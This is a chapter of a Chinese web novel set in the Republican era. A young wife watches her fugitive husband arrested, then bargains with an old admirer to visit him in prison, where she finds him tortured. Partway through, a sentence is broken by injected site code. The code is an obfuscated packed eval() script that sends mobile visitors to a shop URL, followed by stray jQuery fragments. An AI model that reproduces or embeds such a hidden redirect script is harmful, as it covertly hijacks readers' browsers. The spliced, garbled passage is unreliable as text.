17. 月下探监

作品:《人在民国,赚钱上学

    然而还是晚了一步,又或者说,对于一堆专业的便衣来说,抓捕一个瘸子实在是太容易了。


    一切都发生的太快了。杳月根本没想到会是这么个情况,当即跑过去要拦,“你们是谁?怎么能当街随便抓人?”


    为首的小胡子逃出证件,“36军奉命抓捕逃犯,闲杂人等让开!”


    杳月却是不让,她不过是想完成周大奶奶的嘱托,找到周蕴文。可偏偏如今周蕴文因前来找她被抓,杳月无论如何也不能冷眼旁观。


    周蕴文被三五个人压着,动弹不得,更何况推搡之间终归是对杳月不利。他也怕混乱中杳月被磕着碰着,于是艰难扭头对小胡子说,“我如今腿伤未愈,跑不了的。且容我同我……她说句话,我必定跟你们走。”


    小胡子很爽快,当即松开了他。而周蕴文腿上经过方才重创,一时又血流如注,当即支撑不住就要倒,杳月赶紧撑住他。


    周蕴文问她,“你怎么来了?”


    杳月傻乎乎道,“你娘叫我来的。”


    周蕴文伸手擦去她着急流出的泪,低声道,“现在你见到了,可以回家去了。”


    杳月闻言,泪又流出来了,可一急什么都说不出来,只是不住道,“不是的……不是的,我不是……”


    她不是来逼他现身的呀!


    可偏偏小胡子急了,一把扯过周蕴文,“好了好了!还没完没了腻歪上了!”


    杳月又要追,却被周蕴文示意停下。杳月究竟跟军中是不是一伙的,亦或者对这场面又猜到多少,周蕴文不在意也懒得在意。


    反正即便没有杜杳月,他也是要去自首的。只可惜腿伤又严重了,看来最后还是没法如愿体面地站着死了。


    他扭头看看杜杳月,冲她笑笑,“杳月,谢谢你。”


    无论如何,谢谢你肯为我走这一遭。


    *


    杳月连自己是怎么被小春拽回小阁楼的都不知道。


    她整个人魂不守舍地窝在小桌前,眼前闪过的仍是周蕴文被抓走的场景。


    周蕴文,是因为她被抓走的吗?


    她是诱饵吗?


    还有,周蕴文为什么要感谢她呢?


    小春端着热气腾腾的小油菜进屋时,只见杳月仿若中邪一般,一个鲤鱼打挺站了起来,转身就往外跑。


    小春赶紧拦住,“要吃饭了,你干嘛去?”


    杳月定定地望着她,“我要救周蕴文。我要去把他救出来。“


    就算周蕴文杀人偿命,活该被抓,也不能是因为找她的缘故被抓。杳月恨他厌恶他,绝不允许自己跟他扯上任何关系,任何联系。更不可能欠周蕴文什么,哪怕一切归咎于她的不知情。也不可以。


    小春拗不过她,只好放行。


    杳月一下楼就拦住一辆黄包车,不住地催促车夫赶紧往杨益生的二层小楼奔去。


    杨益生正在家里。杳月跟着管家走进时,第一眼看到的就是摆满了丰盛佳肴的餐桌以及坐在餐桌前的杨益生。


    不知为什么,杳月总觉得他在等她。


    这一路着急,她出了一脑门子汗。她本想在杨益生面前表现得冷静点,可惜控制不住地气喘。


    愈发衬托眼前的杨益生好整以暇。


    他端坐在主位,伸手拉开一旁的椅子,“急什么,我又不会跑。”


    “你早就算准了对不对?”杳月并不往前,只是诘问,“这一切就是你想看到的对不对?”


    杨益生兀自给她盛了一碗汤,像是没听到,“这是瓦罐老鸭汤,红姨煨了好几个钟头呢,尝尝。”


    “杨益生,你利用我。”


    此话一出,杨益生没有任何表情的脸上眉头一挑,他抬起头来。两人之间的氛围骤然降至冰点。他似乎想说什么,停顿片刻只是隐忍道,“怎么不叫三哥了?......没规矩。”


    他望着杜杳月,“我以为你对周蕴文没感情。”


    杳月讥笑反击,“我跟他有没有感情同你欺骗我、利用我,有什么关系吗?”


    “杳月,我没有利用你。我是在帮你。”杨益生站起来,走过来刚想牵她的手,却被杳月躲开。他嘴角勾起一丝笑,只当没看见,“杳月,这不是对你来说最好的局面吗?”


    杳月一时没说话,杨益生却仿若看到点滴星火般的希望,一把钳住她的手腕,再不容许她逃躲,“周蕴文会死掉,你会自由。到时候我们......”


    杳月费劲挣脱终究无果,杨益生高大的身影更像是一座大山,光是落在她身上的阴影就令她喘不过气来。


    “杨益生,你说的是不是有些冠冕堂皇了?你究竟是为了我,还是为了你自己?”


    “杳月!”


    她折腾的动静太大,杨益生想要禁锢她也要废些力气。他索性另一只手环住她的腰,将她整个人压在桌边,逼她只能紧紧贴在他的胸膛,“我是为了你,也为了我自己。”


    “这样对我们都好不是吗?”他深深地望着她,似乎想要一眼看到她内心最深处去,“杳月你知道我探亲回家得知你婚讯时的心情吗?我真的后悔,后悔自己为什么要晚了一天。我不能再错过你了,杳月,如今机会就在眼前,乖一点,就乖一点点好......”


    “啪!”


    一记响亮的耳光横空出世,正正好好落在杨益生动情的左脸上。


    杳月气得发抖,“杨益生,你在羞辱我。”


    多亏了这一巴掌,杨益生才回过神来。杳月推开他,“杨益生,我们就不用讨论你不能错过的是军功还是什么了,但请记住我如今还是周家的媳妇。周蕴文便是死了,我也是要给他披麻戴孝的。”


    “我来找你,也不是同你暗通款曲的。杨大团长,我只求你答应我一件事。就一件。”


    想要的结果还没得到,杳月只能忍着恶心继续跟他周旋。杨益生望着她,正想说有关周蕴文的话免谈,却听杳月的声音寂然传来,


    “......你若还看在咱们一起长大的情分上。”


    拒绝的话比想象中的还要吐露困难,杨益生慢慢道,“你说。”


    “让我去见他。”杳月仿若一夕之间变得乖顺起来,她主动走进他,仰起头来一双含着水雾的眸子盯着他,“只有你能帮我,三哥。”


    杨益生面无表情,喉结微动。他该怎么办,他该拿她怎么办?直到对阵时刻,他才意识到自己还是害怕惹她厌烦的。


    起码现在她还喊他三哥。


    “好。今晚,我去接你。”


    在理智归位前,他听到有人抢了他的声音如是说。


    *


    杳月一直走回夹金巷时心还一直扑通


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713854|144688||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    扑通地跳着。就连小春在楼上喊她,她都呆呆的没听到。


    回了家,小金问她情况如何,杳月将情况如实告诉她。小春道,“男人最好色了,你千万不能跟他单独相处。这样,我晚上陪你一起去。”


    小春仗义,但杳月不能不为她考虑,“我丈夫的事情很复杂,之后究竟是个情况,很说不准,实在不能牵连到你。”


    杳月受了惊吓,很是失魂落魄。同时也怕多说些什么日后害了小春,只推脱说自己困了,自去小床上窝着,等小春晚上出去卖烟这才起床洗漱,等着杨益生过来。


    很快,有强光闪过窗户,一瞬后又闪过来。杳月推开窗,正好对上车灯照回来,澄黄的灯光给她全身带上一圈光晕。杨益生站在车头,心想,她是上帝抬手在人间落下的一只音符。


    他明明是上帝最虔诚的信徒,为何上帝仍吝啬于将她飘落他手?


    思绪翻飞间,杳月已经走到他面前。杨益生敛目,替她开了车门,“上车吧。”


    杳月才发现,今晚是杨益生自己开车。


    车子在人迹渐稀的夜色里驶向监狱。杨益生轻车熟路地将车停在后门。门口站在卫兵,显然等候良久。


    杳月正准备下车,却不想被杨益生拦住。“只有十五分钟时间,有什么话抓紧说。还有......大帅这次是一定要他死的,劝你不要白费力气。”


    话音一落,杨益生一弹手,就帮她打开了车门,“我在这等你。”


    杳月连忙说不用了,杨益生摇下车窗望着她笑,语气有些可怜,“杳月,你不能用了三哥就丢啊。”


    杳月落荒而逃。


    *


    跟着卫兵一步步走进牢房深处,杳月的心也随着一层层落下的门和警卫跌落下来。


    她也听过不少话本故事,那里面劫法场逃狱都是最痛快的部分,以至于杳月在踏足监狱之后,心道那写话本的人肯定没进过监狱,不然就会晓得逃狱根本就不是那么容易的事。


    监狱又黑又长,空气质量堪忧,杳月被血腥味熏得头昏脑涨的,正感觉自己下一秒要晕过去时,前面的卫兵丢下一句,“到了。”


    到了?


    杳月睁大双眼,只见正前方的牢房内,周蕴文正歪在角落里,浑身是血,垂着头好像陷入昏睡。


    卫兵把门打开,自己则站到了拐弯处。


    杳月顾不上感念他的贴心,也顾不上牢房内腥臭扑鼻。她赶忙过去,想要去碰他,却发现周蕴文身上没一块好肉,显然这半天的功夫,他已经受过一番极刑。


    周蕴文昏昏沉沉地陷入半昏迷中,也不知过了多久,只听到耳边传来断断续续的啜泣声,实大实小,听着十分渗人。


    不是.....他不会直接被打死了吧?


    周蕴文吓了一大跳,睁开眼来,就看到眼前的杜杳月。


    她正跪在他面前埋头啜泣,眼睛已经哭成了桃子,口中还念念有词,“要杀就杀啊,都要杀了还打人干嘛啊呜呜呜。”


    周蕴文笑了,缓缓道,“杜杳月,你可真会安慰人。”


    杳月见他醒来不觉愣住,周蕴文费劲抬起一只手,要帮她擦泪,却不想手上的血迹蹭花了她雪白的脸颊。有些刺眼。


    周蕴文叹了口气,声音低落地仿若喃喃自语。“为什么每回见你都在哭呢?”